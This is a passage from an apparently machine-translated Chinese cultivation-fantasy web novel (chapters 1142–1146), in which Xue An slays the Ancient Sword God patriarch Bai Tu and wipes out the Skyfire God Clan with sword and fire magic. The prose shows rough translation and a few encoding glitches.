    As he said, he drew the sword back lightly, Bai Tu only felt a sudden surge of great strength, but his palm was strenuous, so he threw his hand away, and then stepped back a few steps with fear and fright. Looking at Xue An blankly.


    Not only him, everyone''s eyes also gathered in Xue An''s body.


    At this time, Xue An held Liushou, looked up and down the sword a few times, then shook his head slightly, "The sword is a good sword, but it''s a pity... the swordsmanship of people who use it is too rubbish!"


    After that, Xue An smiled sorrowfully against the white picture and the ancient sword gods.


    "Today, I will show you the true power of this sword!"


    While speaking, Xue An flicked the quicksand sword lightly.


    The sound of a sword roar resembling a dragon''s roar instantly resounded throughout the Tianhuoshenxuan.


    Then I saw subtle bursts of sound from this quicksand sword, and runes burst into pieces.


    Those are all the magic circles left by the patriarchs of the ancient sword gods on this flow killing sword.


    Although they are very inconspicuous, the superposition of generations is still not to be underestimated.


    And Bai Tu can control this sword, also because of these magic circles.


    Even he has always thought that the reason for this slaughter is tyrannical, largely because of these magic circles.


    can be when Xue An flicked all the magic circles attached to it, but seeing the brilliance of this slaughter sword circulating, it was like a star.


    ''S momentum is soaring steadily, and in an instant, it is more than a hundred times stronger than before.


    Then Xue An nodded in satisfaction, "This is what looks like!"


    After that, Xue An just cut down with a single sword as if he was indifferent.


    There was a stab, and the space where the quicksand sword passed was like a fragile paper, which was directly cut through a long and narrow crack.


    This kind of power is simply unheard of.


    At least Bai Tu and others are already looking a little silly.


    Then Xue An raised his eyes and smiled at them sorrowfully, "Now, let your own swords come to yourselves!!!"


    After that, Xue An waved casually.


    The Flowing Killing Sword flew out, and then it began to hover over the heads of the ancient sword gods.


    "Not good!" Bai Tu exclaimed.


    It may be too late, but seeing that the flow kill sword is like a dragon, it cuts straight.


    ����!


    With a muffled sound, the quicksand sword is like a death sickle, harvesting the lives of the ancient swords of the Protoss tribe.


    screams, unwilling roars, begging for mercy resounded throughout the Sky Fire God Xuan.


    But none of this helps.


    Just a few breaths.


    These ancient sword **** race people were almost slaughtered.


    Only Bai Tu relied on his strong strength to barely escape the catastrophe.


    But he has also been horrified by Xue An''s endless methods, and there is only one thought left in his mind, that is, escape!


    So he didn''t even dare to look at Xue An, turned around and ran away.


    The speed of sword repair is the fastest among all kinds of cultivation methods, and the white figure cultivation base is really good, so when he intends to flee with all his strength, he almost has to escape from the Heavenly Fire God Xuan in a short time.


    As long as you leave the Tianhuoshenxuan, the world outside is vast, so I will be free to ride! And when I return to the clan, I will definitely try my best to avenge this revenge!


    Bai Tu secretly calculated in his heart, under the urging of the whole body''s cultivation base, the speed suddenly increased a bit.


    Seeing that he is about to leave here Xue An stood still and did not move, but smiled coldly, "Want to go? Do you think you can still go?"


    After that, Xue An waved his hand and uttered softly, "Go!"


    But seeing this flow killing sword screamed, it directly pierced the void in front of him, and suddenly disappeared in place.


    And Bai Tu, who was running at full speed, suddenly felt that his hair was standing upright, and his heart was alarming, and he could not help but stop suddenly.


    Just when his body shape was able to stop, the quicksand sword slashed down against his nose. When the distance was close, Bai Tu even felt that the end of his nose was cold, and the sword energy had already cut his skin.


    Blood rushed out.


    But Bai Tu has no time to take care of this. He has been hacked and he just wants to get away from Xue An as soon as possible, so he turns around and wants to escape after changing directions.


    But this time, before his speed increased, another sword intent lay ahead.


    Bai Tu''s liver and gallbladder were split, turned around and ran, and the result was the same.


    in an instant.


    The white picture seemed to be in a sword prison, trapped between square inches, unable to move at all.


    At this time, Xue An smiled faintly, "Are you still running?"


    Bai Tu was shocked all over, then slowly turned around, looking at Xue An with complex eyes full of fright, anger, and horror. It was not until a moment later that he took a deep breath, "You and I are both swords. Xiu, how about letting me go?".


    Xue An smiled, then shook his head, "No!"


    Baitu''s complexion condensed, and then angrily said: "Xue An, you don''t want to deceive people too much, you have to be forgiving and forgiving, if you push me in a hurry, you may not be able to do well!"

 Chapter 1142： Serve me as Lord? Are you worthy?

    Xue An chuckled softly, "Too much deception? Anyone can say this term, but you are not qualified! And I intend to push you in a hurry! Because I want to see, what can you do with me?"


    Bai Tu''s face was green and white, and then suddenly raised his head to look at Qi Sixiang in the distance, "Clan Chief Qi, we are waiting for the unity of the various races, but now the five-way God Sect is perished, and my Ancient Sword God Race is also in danger. Are you just such an old **** watching from a distance?"


    Although Bai Tu is very calm, people can still hear the anger in Bai Tu''s words.


    could face the questioning, but Qi Sixiang didn''t hear about it, and even lowered his head to start drinking tea slowly.


    This made Bai Tu''s complexion frantically changed, and immediately understood something, and said angrily: "Qi Sixiang, you bastard! Even if I die, I won''t let you go!"


    As he said, Bai Tu had already given up everything and roared at Xue An, "Xue An, you forced me!"


    said, Bai Tu''s complexion suddenly began to pale, and the speed was so fast that no matter the moment, it was pale and almost transparent.


    Then Bai Tu''s face showed extreme pain, and then shouted with a crying and smiling voice: "Give me to death!"


    After ���� said, Bai Tu''s body exploded.


    But there was not the slightest splash of blood and flesh, because at this moment, all the flesh and blood of Bai Tu''s whole person turned into a ray of sword light, and then attacked directly towards Xue An like a torrent.


    "Turn into a sword with your body!" Someone screamed, recognizing this famous skill of the ancient sword gods.


    This trick is extremely powerful, but few people use it, because once it is used, it will consume countless vitality and lifespan, and it may even fall.


    But at this moment, Bai Tu was desperate, so he started desperately.


    Xue An��s eyes flashed a hint of approval, "Yes, that''s why I have a bit of sword repair spirit. What a pity... You dare to win glory with the sun and the moon with the glow of fireflies?"


    After that, Xue An stomped lightly, shaking the void slightly, and then saw the boundless sword light emerging from Xue An''s body.


    The momentum is so great that it makes people afraid to look directly.


    "Go!" Xue An casually pointed, and saw Jian Mang rushing upward, facing the sword mang that Bai Tuyi had transformed.


    Two phases collided, but there was no sound.


    It''s just that the sword light of Bai Tu suddenly stopped in the air, and then began to disappear quickly.


    "No! My lord, forgive me, I would like you to be my Lord!" Bai Tu''s infinitely terrified begging for mercy came from the void.


    It is a pity that Xue An never has any pity for such people.


    Because he knows very well that any confession from these people is based on powerful deterrence.


    If you don''t have the strength, then no matter how you beg for mercy, you can only become a joke among these self-proclaimed powerful men.


    So he just smiled faintly when he heard the words, "Be my master? Haha, do you think you are worthy?"


    After that, Jian Mang suddenly rushed wildly, directly surrounding everything in Bai Tu, and then directly strangling.


    But at this moment, Bai Tu hissed angrily: "Qi Sixiang, you despicable villain, I''m dead, you can''t get better!"


    After speaking, he saw all the sword lights that Bai Tuyi had transformed into a bombardment. The mighty power broke Xue An''s encircling circle through a small gap.


    Baitu was overjoyed when he saw it, and then directly turned all of his soul into a monstrous sword intent, and rushed to Qi Sixiang in an instant, before beheading him.


    When Bai Tu''s sword intent rushed, Qi Sixiang suddenly showed a pale golden flame around his body.


    The flame is like a peach and plum, but nothing is infused.


    Bai Tu, the last sword intent, could only scream when facing this flame, and then roared bitterly: "Jinyang Tianhuo, Qi Sixiang, you despicable villain..."


    The scream stopped abruptly, and everything returned to peace.


    But everyone knows that Bai Tu, the patriarch of the Ancient Sword God Race, is already dead.


    This also means that the ancient sword protoss who had been in such a great power will fall, and the final outcome will only be swallowed.


    The audience was silent, and many people''s legs were trembling slightly.


    Because the tragic degree of this war has exceeded the scope of many people.


    From the beginning to the present, only half an hour has passed, but two protoss have fallen.


    Five-way God Sect, ancient sword gods.


    Every one of them is famous and coercive to the world''s powerful forces, but they have gone to destruction in the Vulcan Xuan that day.


    How can this not be daunting?


    And as a hands-on person, Xue An is deeply feared by countless people at this moment.


    And Xue An, who had destroyed the two great Protoss one after another, underestimated it as if he had just done a trivial thing, then raised his head and smiled at Qi Sixiang on the high platform in the distance.


    "How does this excitement look like?"


    Qi Sixiang put down the tea cup, got up slowly, and then smiled at Xue An, "Mr. Xue is truly superb, and Qi admires it!"


    As he said, Qi Sixiang even bowed his head to Xue An in salute.


    Everyone in the Sky Fire God Xuan was dumbfounded.


    How is this going?


    Why did Qi Sixiang, who had just yelled and killed Xue An, suddenly changed his attitude, so respectful?


    Only some astute people seemed to understand something, and then they bowed their heads deeply and did not dare to look again.


    Facing Qi Sixiang��s goodwill Xue An smiled, "Admire? What do you admire me? Did you destroy your two allies?"


    The sarcasm in these words is overflowing.


    But the four elephants of Qi Qi didn''t hear about it, and smiled faintly, "The strong in the gods are respected, they provoke adults, and they are naturally blamed for being destroyed, no wonder others!"


    "Oh?" Xue An smiled slightly, "Then what should you do with the Skyfire God Race? After all... the young master of your family died in my hands!"


    ''S words made the atmosphere suddenly tense.


    Many people looked at Xue An with horrified eyes. They didn''t understand why Qi Sixiang was so good, but Xue An seemed to be reluctant and even mentioned the matter.


    It was beyond everyone''s expectations. Qi Sixiang laughed, "My son Hongbo is naturally arrogant. He must have offended the lord! So although it is a pity, he will die if he is dead!"


    These words shocked many people.


    Is this still the Skyfire God Clan who has always been known for its brutal and domineering?


    Why is it so sensible all of a sudden?


    Only Zhong Anan stared at Xue An''s back blankly.


    as smart as her, naturally understands why.


    All because of Xue An''s strong strength, under this kind of power, even the Skyfire God Clan had to bow for it. .


    The four elephants of Qi are right, in the realm of the gods... really the strong are respected! The Lunar Protoss was bullied by all parties because of its weak strength.


    Thinking of this, Zhong Anan smiled bitterly, but secretly made up his mind to make the Taiyin Protoss also become a powerful clan, and don''t be bullied by anyone.

 Chapter 1143： 1 finger breaking sky fire

    Even Qi Xuanfeng, who was once extremely arrogant, lowered his head at this moment, not even daring to raise his head.


    As for Xuan Hun, his face was even more scared, standing trembling behind the crowd, trying to make people ignore themselves.


    But in this situation, Xue An chuckled lightly and said in a low voice: "Sure enough, it is reasonable to talk to the strong, and the weak to eat the weak!"


    When he said this, Xue An''s voice was not loud, at least Qi Sixiang didn''t hear what Xue An was saying.


    But that is not important for the four elephants.


    At this moment, he smiled and said: "Mr. Xue, I think this is the end of the matter. From then on, my Skyfire God Clan is willing to surrender to you, what do you think?"


    If the attitude of Qi Sixiang before has caused a commotion.


    Then what Qi Sixiang had said now was an earthquake.


    "What? The Heavenly Fire God Clan is going to express surrender? I heard it right?" Someone breathed a cold breath and said.


    "Yeah, this sounds incredible!" Some people were also incredulous.


    "I think this is the cleverness of the patriarch Qi, after all, this Xue An looks too strong, and surrendering now is a good thing!"


    "That''s right, in this case, this Xue An can be considered a step down!"


    The crowd began to talk quietly.


    But almost everyone thought Xue An would agree to this request.


    After all, the ten-day period Xue An set up in the Cursed City before was also a matter of surrender.


    Now that his goal has been achieved, he has a step up, how could he disagree?


    Even the people of the Taiyin Protoss thought so. Although Zhong An''an was a little unwilling and sad, he finally lowered his head.


    In any case, the adults can be regarded as fulfilling their promises, how can they demand too much?


    "Oh? Surrender?" To everyone''s expectations, Xue An did not immediately agree, but instead asked with interest.


    Qi Sixiang smiled and said: "Yes, since then, my Skyfire God Clan has appointed you as the lord of Amaterasu, what do you think?"


    Xue An smiled, seemingly very happy.


    Qi Sixiang also smiled, smiling happily.


    In the next second, the smile on Qi Sixiang''s face froze.


    Because Xue An shook his head lightly, he said coldly, "I''m sorry, I don''t think so!"


    Qi Sixiang never dreamed that Xue An would refuse his request, and couldn''t help being stupid.


    Not only him, everyone in the audience thought they had heard it wrong.


    But Qi Sixiang is worthy of being a strong man who has been in charge of the Heavenly Fire God Clan for thousands of years. He soon regained his consciousness, then took a deep breath and asked in a deep voice: "My lord, what do you mean by this?"


    Xue An said lightly: "It doesn''t mean anything, I just want to ask you, did you send someone to do the thing about the Taiyin Protoss? Is this something you can do with just one sentence?"


    Zhong An''an and all the people of the Taiyin Protoss all trembled.


    Especially Zhong An''an, Huo Ran raised his head and looked at Xue An in disbelief.


    Because she didn''t expect that Xue An actually remembered these!


    Qi Sixiang''s eyes were filled with anger, but he still suppressed himself and said in a cold voice: "My lord, there is only a Taiyin Protoss, let alone Mu Guqing is dead, why is this?"


    Zhong An''an finally couldn''t help it, and said angrily: "Qi Sixiang, the death of my master, how can it be in your mouth?"


    Qi Sixiang sneered. Although he didn''t speak, his meaning was obvious.


    Zhong An''an was so angry that he was about to speak.


    At this moment, Xue An waved her hand and motioned her to retreat, and then smiled at Qi Sixiang.


    "Fake my hand to destroy the Five-way God Cult and the Ancient Sword God Race, and then pretend to surrender to me. I want to take this opportunity to harvest the power of the two God Races first, and then slowly figure it out. I guess right? Patriarch Qi! "


    These words changed Qi Sixiang''s expression slightly, but even if Xuan returned to normal, he smiled.


    "Mr. Xue, I admit that what you said earlier is correct, and what''s wrong with it? In the God Realm, Xiao Xiao and Bai Tu are stupid, so they are dead. This can''t blame me at all! As for them to stay Even if I don��t go to the land that comes down, someone will naturally harvest it!"


    Such naked words make a lot of people look at it.


    But Qi Sixiang felt that this couldn''t be more normal, and there was nothing to say.


    Xue An smiled lightly, then applauded softly, "That''s great! What a pity..."


    Xue An''s face became cold, "I understood at the beginning that when the ten-day period is over, those who don''t come will pay their due! Have you forgotten this sentence?"


    Qi Sixiang''s complexion changed, just waiting to speak.


    Xue An said lightly: "Qi Sixiang, although the ancient sword gods and the five-way gods who were just destroyed by me are enemies, they at least dare to take action. As for you who play tricks and tricks like you... they don''t deserve the word strong at all. !"


    Boom!


    Qi Sixiang finally couldn''t maintain his composure, a cold light flashed in his eyes, and the tables and chairs in front of them burst apart.


    Then Qi Sixiang grinned and said: "The surname is Xue, don''t think I am really afraid of you! I just don''t think you can do anything with someone like you! But you are so aggressive, you really want to toast and not eat! "


    Xue An laughed loudly, "I will not eat the toast, and I will not eat the fine wine! All I want... just wait and die!"


    After that, Xue An didn''t wait for Qi Sixiang to react, and took a step forward, then punched out.


    The fist is as powerful as a violent wind, rushing turbulently.


    Wherever ���� passed, the high platform was broken, and the tables and chairs were all gone.


    Even the floor has been cut into a deep chasm.


    Seeing this scene, the somewhat numb crowd, who had been shocked, couldn''t help being stunned.


    Then someone murmured in a dull expression: "Isn''t he a sword repairer? Why is he even so powerful in body art?"


    But just under such a powerful punch Qi Sixiang''s face was full of arrogance, and he didn''t even hide.


    Until the fist reached the body, but seeing flames of different colors appeared in front of him, and then instantly formed a thin layer of fireworks light curtain.


    Boom!


    The fist thundered over this light curtain, but only a layer of shallow ripples was stirred up.


    Then Qi Sixiang laughed loudly, "Xue An, before my fire, do you really think you have a chance of winning?"


    Xue An did not speak, and raised his hand again, but the result was the same.


    This seemingly weak light curtain has terrifying defenses.


    Each punch of Xue An can only arouse ripples, and can''t shake Qi Sixiang at all.


    "Xue An, I advise you not to waste your efforts! You can''t break this light curtain at all!" Qi Sixiang hugged his shoulders, and smiled in time.


    "Oh?" Xue An raised his eyebrows slightly, "Do you really think I can''t break it?"


    Qi Sixiang nodded arrogantly, "Xue An, it''s useless to say anything. In front of me, your fists can''t do anything at all!"


    Xue An showed her white teeth and smiled sensibly, "Fist is not good, what about this one?"


    As he said, a faint flame appeared on Xue An''s fingers, and then pointed out.


    This finger is extremely random, and even the momentum is not aroused. .


    It was just such an understatement, but the sky fire light curtain in front of Qi Sixiang suddenly stagnated, and then...


    The pieces are falling apart!

 Chapter 1144： Void life flame, great array of divine fire

    ��!


    Qi Sixiang''s whole person was also hit by this huge force and flew back several tens of meters away. After landing, he opened his mouth and spit out a big mouthful of blood, and then stared at Xue An with disbelief.


    "You...what demon technique did you use? Can you actually break my skylight curtain and hurt me?"


    Xue An just smiled coldly when he heard the words, "It may be difficult for others, but in front of me, it is easy!"


    These words made Qi Sixiang''s complexion more gloomy, and then said gloomily: "Very good! Xue An, you really are not an ordinary person, no wonder you can kill the Amaterasu Gods with your own power, but if you think... ."


    Before the words fell, Xue An''s figure suddenly appeared on the side behind him, and then punched out.


    caught off guard, Qi Sixiang was bombed out again.


    Then Xue An slowly closed his fists and said calmly, "My patience is running out, so please stop talking nonsense... OK?"


    The four elephants of Qi staggered to the ground, and vomited a few big mouthfuls of blood one after another, and the eyes that looked at Xue An were full of horror.


    It was enough for Xue An to break his own sky-fire light curtain just now, and it was enough to surprise him. He didn''t expect that he could hurt himself so easily.


    You must know that your body has been tempered by the Nine Heavens Fire!


    Don''t talk about fists, even ordinary magic weapons, you can''t help yourself.


    But immediately, Qi Sixiang''s eyes showed a bitter intent to kill.


    I was thinking of holding this Xue An steady by slowing down the army, and then I would settle accounts with him after I had harvested the forces of the Ancient Sword God Clan and the Five Elements Sect.


    You can see the current situation, it won''t work if you don''t do it.


    Because this child is not eliminated, it will become a major disaster!


    What''s more, under the eyes of the audience, he was beaten by Xue An twice in succession. If this face cannot be earned, then it will be a real failure.


    Thinking of this, Qi Sixiang said as cold as ice, "Xue An, this is your own death, and you can''t blame others! Everyone listens to orders, do it!"


    gave an order.


    The earth shook, and the void gave birth to flames.


    Including the second young master Qi Xuanfeng, all the members of the Skyfire tribe had flames above their heads.


    These flames have different shapes and are colorful.


    Some are as big as a lotus, and some are as small as a gardenia, but without exception, these flames exude powerful power.


    "It''s the fate of the Skyfire tribe!" The knowledgeable person exclaimed.


    at the same time.


    These flames suddenly rose into the air, and then began to change positions in the air at an extremely fast speed.


    I saw Guanghua Road, and the fire reflected the sky.


    After a dazzling change, these flames suddenly stopped.


    Then I saw a subtle brilliance between these flames.


    In an instant, these flames were all connected to one place.


    At the moment it took shape, I saw a nearly pure blue flame rising into the sky, wherever it went, the space was slightly distorted by the burning.


    Until this time, everyone can see what it is.


    Because of the flames that are connected together by Guanghua, it is clearly in the form of a large array!


    "Yes... it''s the sacred fire formation of the Skyfire God Clan!" Someone whispered softly with teeth shaking.


    Everyone was shocked when they heard the words.


    Because this Shenhuo Great Formation is known as the largest formation in the Quartet World, it is the magical skill of the Heavenly Fire God Clan.


    Although it is rarely used, it is said that once it is used, it will have tremendous power.


    And now it seems that this great sacred fire array has gathered the cultivation base and divine power of the entire Skyfire God Race, and its mighty power is simply unheard of.


    At least many people feel that even though there is still a long way to go from this magical fire array, the scorching heat wave seems to have scorched all their hair and beards, and they can''t help but back away in amazement.


    At this time, Qi Sixiang said in a frantic and triumphant voice: "Xue An, it is your blessing to be able to die under the magical skills of my clan!"


    Xue An didn''t seem to hear Qi Sixiang''s clamor, instead he raised his head and quietly looked at this mighty sacred fire formation.


    It wasn''t until a moment later that a smile appeared on the corners of his mouth, and then he said lightly: "Do it!"


    Ok?


    Everyone was taken aback when they heard this.


    Do it? What does it mean? Could it be that Xue An had given up resistance after seeing the tyrannical formation of Shenhuo?


    Zhong An''an even screamed, and shouted anxiously, "My lord...!"


    Qi Sixiang was startled slightly, but he laughed loudly, "Very well, Xue An! It seems that you are also a person of wit, based on your words, I will reward you with a joy!"


    After that, Qi Sixiang raised his hand and pointed at Xue An, and said proudly: "Destroy him!"


    Boom!


    Just like a volcanic eruption, the vast array of sacred fire in the sky descended with boundless flames and came straight to Xue An.


    Qi Sixiang is obviously very jealous of Xue An, so if he doesn''t do it, he will do it, and it will be a merciless killer move.


    But when Xue An faced the flames that hit the sky, instead of showing the slightest fright, Xue An slowly closed his eyes.


    At this time, Qi Sixiang became more and more proud, thinking that Xue An was definitely seeing the fire in the sky, not an opponent, so he simply gave up resistance.


    This is also the common idea of ??most people in the audience.


    Many people were secretly relieved.


    Anyway Although this young man was extremely tough, he eventually died in the hands of the Skyfire God Race.


    Qi Xuanfeng and Xuanhun are even more overjoyed.


    Especially Xuanhun, she couldn''t wait to laugh three times at this moment, but she still suppressed the excitement in her heart, and then quietly looked at Zhong An''an not far away.


    Zhong An''an and all the people of the Taiyin Protoss'' complexion at this moment are extremely ugly, and even their eyes are full of despair.


    But the more like this, the happier Xuanhun will be.


    Hmph, I really thought I climbed a tree? This is it! When this Xue An dies, the fate of all of you will be extremely miserable! Xuanhun thought with a bitter expression on his face.


    At the same time, the sky full of flames has completely submerged Xue An''s figure.


    The scorching heat wave even roasted cracks in the ground.


    Everyone backed away.


    Qi Sixiang Jiejie smiled strangely: "Xue An, aren''t you strong? Now that the fire is burning, I see how you can come back."


    The audience was silent.


    Zhong An''an looked dimly, tears shining in his eyes.


    Even she thinks Xue An must die this time.


    At this time, Qi Sixiang turned his head and smiled at her sullenly, "Patriarch Zhong, what else do you say now? Surrender obediently, I can consider spare you! Otherwise..."


    Zhong Anan didn''t wait for him to finish, but took a deep breath and said coldly, "Don''t say it, Taiyin Protoss, today will fight to the end!".


    After that, Zhong An''an raised the sword in his hand, pointed the tip of the sword straight forward, and screamed with all the strength of his body.


    "kill!"

 Chapter 1145： A man or a ghost, pinch out with one palm

    The faces of all the members of the Taiyin Protoss Clan showed death, and then drew their swords together, rushing forward following Zhong An''an''s footsteps.


    Compared to the magnificent Skyfire God Clan, such a small person from the Taiyin God Clan looked so inconspicuous.


    Even this shock made them look so desperate and helpless.


    Qi Sixiang tut "admired" and said: "What an admirable will! Unfortunately, in the face of absolute strength, you only have to surrender or be crushed!"


    As he said, Qi Sixiang waved his hand, and saw a line of fire flying straight out, and then circled around the people of the Taiyin Protoss, trapping them all.


    "Zhong An''an, I would like to advise you one last thing, surrender now, I can spare you and wait for my life, but don''t toast or drink fine wine!" Qi Sixiang grinned.


    In the face of death, Zhong Anan showed an unprecedented calmness. Even after hearing Qi Sixiang''s words, she did not have the slightest emotional fluctuation, just gently swept the temples scattered around her ears, and said lightly.


    "My lord just said, "Don''t toast or drink fine wine! And the Lunar Protoss, it''s not your turn to spare your life!"


    These words changed Qi Sixiang''s complexion, and then said angrily: "It''s really stubborn, if that''s the case, then you all will be buried with Xue An!"


    said, Qi Sixiang suddenly gripped his fingers.


    But seeing this line of fire instantly began to shrink.


    The people of the Taiyin Protoss were all in a commotion, and then they leaned closely together.


    But this doesn''t help at all. Although the speed of this line of fire is not fast, it is only a matter of time before it is swallowed by flames.


    Seeing this scene, Zhong Anan smiled, openly and without fear.


    Then she turned her head and looked at all the Taiyin people behind her, "Sorry! It seems... we still couldn''t bet right!"


    "Patriarch, don''t talk about it, life and death are fateful, this is nothing!"


    "Yes, what you said, at least we worked hard! Didn''t we?"


    Several elders of the Taiyin Protoss said one after another.


    and the other clansmen nodded together, without the slightest complaint on their faces.


    Zhong An''an was startled, then smiled and nodded, "Yes! At least we have worked hard, but even if we die, we can''t die in the hands of this group of people!"


    After that, Zhong An''an resolutely raised his sword and placed it directly on his neck.


    All the people of the Taiyin Protoss also followed her movements and raised their swords.


    Seeing this scene, many people looked intolerable and turned their heads and couldn''t bear to look again.


    Zhong An''an''s gaze crossed everyone''s faces, and then paused slightly on Xuanhun''s body.


    Xuan Hun''s face turned pale, and he bowed his head somewhat shivering.


    But Zhong Anan just glanced at her coldly, ignored her at all, and then looked at the sacred fire that was still boiling not far away, his eyes trembled, and then he gritted his teeth abruptly.


    "Do it!"


    After that, she closed her eyes, and when she held the sword hand hard, she wanted to kill herself on the spot.


    Qi Sixiang watched mockingly.


    The second young master Qi Xuanfeng is even more happy.


    can be at this moment.


    Zhong Anan felt that an unstoppable force came, and the sword in his hand flew out uncontrollably.


    Such changes couldn''t help making her eyes open in horror.


    And it''s not just her, all the swords in the hands of the Taiyin tribe have been released, suspended in the air.


    The tip of the sword was all aimed at the blazing sacred fire, and then the sword body was bent slightly, as if...in worship.


    This...what is going on?


    Zhong An''an gradually widened his eyes.


    Qi Sixiang and others were also a little dumbfounded.


    at this time.


    just listened to a calm voice from the fire of God, "Knowing that you can''t do it, and dare to sacrifice one''s life and ambition at the last moment, even though she is a woman, it is rare and precious!"


    The sound is not loud, but it resounds through the audience.


    Zhong An''an was shocked, tears burst into his eyes.


    Because the speaker is Xue An!


    At the same time, amidst the sacred fire, there appeared a very tall figure that was slightly thin, but was set off by the blazing fire.


    When he saw this scene, Qi Sixiang was as if he had seen a ghost, "This...this..."


    After this for a long time, he didn''t say the rest.


    At this time, a figure stepped out amidst the swaying sacred fire.


    White clothes wins snow, long body jade.


    is Xue An!


    There was a silence at first, and then a huge shock.


    "My lord!" Zhong An''an and others shouted with excitement.


    Xue An nodded slightly at them.


    At this moment, the second young master Qi Xuanfeng suddenly asked sharply: "You... are you a human or a ghost?"


    Xue An smiled slightly, "What do you mean?"


    Qi Xuanfeng looked sluggish, and then screamed: "I don''t believe it! No one can survive in the sacred fire! This is definitely your ghost, right?"


    The voice has even become hysterical.


    Qi Sixiang also looked at Xue An with an extremely solemn expression.


    He didn''t understand, what exactly did Xue An use to get out of this magical fire formation.


    Xue An raised a cold smile at the corner of his mouth, "Don''t believe it? Well, then I will let you believe it!"


    After that, Xue An raised his head to look at the divine fire array that was still circling, a gleam in his eyes, then stretched out his left hand, palm facing up, and commanded in a calm tone.


    "Come!"


    Boom!


    The word ���� appeared The brilliance of the sacred fires was instantly shattered, and the unbreakable sacred fire shuddered and then shattered.


    Then the sacred fire, which was out of control, rushed to Xue An''s hands.


    In an instant, the sky that was originally covered showed its true colors, and the sky full of sacred fire returned to Xue An''s palm.


    But seeing that the sacred fire that was originally Xuanhe turned into a big flame at this moment, floating in the palm of Xue An''s hand.


    Then Xue An slowly raised his eyes and smiled coldly at the stunned Qi Xuanfeng, "Now, are you credible?"


    Qi Xuanfeng shocked all over, then his complexion instantly turned pale as paper, and he trembled: "You...you..."


    It''s not just him.


    Everyone who witnessed this scene also looked silly.


    Because they never thought that someone could break through the magical fire so easily.


    At this time, Xue An sighed lightly, and then lazily said: "I wanted to see how powerful the so-called sacred fire is, but it turned out to disappoint me! So I''m sorry... the game is over!"


    As soon as the voice fell, Qi Sixiang, who was already in a petrified state, suddenly understood something, and exclaimed in horror: "Don''t..."


    But everything is too late.


    Xue An suddenly shook it.


    All the sacred fire floating in the palm of his hand was directly extinguished. .


    The audience''s momentum stagnated, and then there was a deafening scream.


    I saw wisps of flames appearing under the feet of all the members of the Skyfire God Clan. The flames spread like a poisonous snake that chooses people to eat.

 Chapter 1146： 1 wave takes away the abyss of skyfire

    In an instant, the people of the Skyfire God Race were enveloped in flames.


    "It''s a god...Shenhuo backlash!" Someone swallowed hard and said.


    The so-called divine fire backlash means that if the natal divine fire of these tribesmen of the Skyfire God Clan is extinguished, they will suffer a tragic backlash, and even...


    And just now, the sacred fire formation just happened to be the natal sacred fire of all the Skyfire tribe.


    This is nothing, but who would have thought that Xue An would actually hold all the heavenly divine fire in his palm.


    It''s like the Skyfire God Clan taking the initiative to give away heads.


    This is also the reason Qi Sixiang was so frightened just now.


    But in the end, it still couldn''t be stopped, causing all the sacred fires to be pinched out by Xue An.


    Just listening to the screams of ghosts and wolves, the weaker Skyfire tribesmen didn''t even hold three breaths, and they turned into fly ash.


    But stronger support will take longer.


    For example, Qi Sixiang and Qi Xuanfeng, father and son!


    Even though the two of them were also swallowed by the sacred fire of their own lives, they were still struggling to support them with their own cultivation base.


    But this kind of backlash directly affects the spirit level, and they can''t break it.


    Therefore, after struggling for a while, Qi Xuanfeng was the first to be unable to hold it.


    I saw him cry out sternly: "Father, save me! Father, save me!"


    It''s a pity that Qi Sixiang, who was once omnipotent in his eyes, is already overwhelmed at this moment. There is no time to save him.


    So after shouting a few times, Qi Xuanfeng understood that it was all in vain.


    Under the huge despair and fear that the soul was extinguished, he thumped and knelt in front of Xue An.


    "My lord, I know I was wrong, please forgive me! I am willing to be a cow and a horse, and a slave to the world! Just please let me go..."


    At the end, he even burst into tears because he was too scared.


    This kind of bottomless begging for mercy made many people''s faces slightly changed.


    Xue An even sighed, "Why do you people learn to be awed only when facing death?"


    "Yes, yes! Your lord, what you said is right, I really know that I was wrong! I just ask you to let me go! I am willing to be your slave!" Qi Xuanfeng cried and begged for mercy.


    Xue An frowned slightly, then smiled coldly, "As far as your current ugly state is, you are not even as good as a woman, and you want to be a slave to me?"


    This refusal made Qi Xuanfeng tremble all over, his eyes flashed with horror, just about to say something.


    At this moment, he saw cracks in his body under the constant burning of the divine fire.


    "No...!" Qi Xuanfeng screamed.


    But soon, the scream stopped abruptly.


    Because his whole body suddenly turned into fly ashes, and then all including the spirits disappeared.


    The divine fire dissipated, and apart from a thin layer of white powder on the ground, there was no trace of Qi Xuanfeng''s existence.


    Seeing this scene, many people only feel that their scalp is numb and their whole body trembles.


    As for the Profound Soul closest to Qi Xuanfeng, at this moment, he was shaking like chaff, almost fainting.


    Because the situation has changed so quickly, the Skyfire God Race, who had just gained the upper hand, suddenly died and wounded.


    Even Qi Xuanfeng, the second young master, was completely destroyed.


    Thinking of Qi Xuanfeng''s tragic situation just before his death, Xuanhun felt that the blood all over her body had solidified, and the extreme fear made her almost crazy.


    But Xue An is obviously not in the mood to care about her now.


    I saw Xue An slowly turning his head, looking at Qi Sixiang, who was also covered by the sacred fire, but could stand up against him, and smiled faintly.


    "Sorry, your Skyfire Protoss is gone!"


    At this point, except for Qi Sixiang, all the Heavenly Fire Gods have been taken away by Xue An.


    After listening to Xue An''s words, Qi Sixiang snorted, but did not speak.


    Xue Anhao watched in his spare time, "Your son is dead, but you don''t seem to be sad at all! Oh, I understand, you are now fighting against the sacred fire backlash. You can''t be distracted, otherwise you will be destroyed, I guess That...right?"


    In the rising flame, there was a moment of silence, and then Qi Sixiang''s voice was as cold as hell.


    "Xue An, you are right! My people are dead, even my son is dead! But do you really think you have won?"


    Xue An raised his eyebrows slightly, "Otherwise?"


    At this time, there was a crisp cracking sound in the flame, and then Qi Sixiang roared.


    It was the divine fire that was hardly blocked by him and finally burned his body into a crack.


    But after roaring, Qi Sixiang burst out laughing.


    "Xue An, I admit that your cultivation base is shocking, and your methods are awesome! But you still can''t be called a strong person!"


    "Do you think I will be sad and desperate because of the death of these people? No, you are wrong! As long as I am here, the Skyfire God Clan will not perish. As for the son of the clan, in my eyes it is just a **** that can be abandoned at any time!"


    There was a commotion in the crowd.


    Xue An also raised his eyebrows slightly, and then asked with a faint smile, "Oh? Really?"


    "Of course! Because in the eyes of the real strong, everything except me can be abandoned!"


    "But do you think you can still run now?" Xue An said lightly.


    "Hehe, Xue An, you are still a frog at the bottom of the well, so you have little knowledge! Today, I will let you know the true strength of the Skyfire God Race!"


    Following the voice , Qi Sixiang roared up to the sky.


    ''S body was burned by the divine fire in an instant, but at this moment, a divine light rushed out, and after a circle, it flew to the sky.


    People are all dumbfounded.


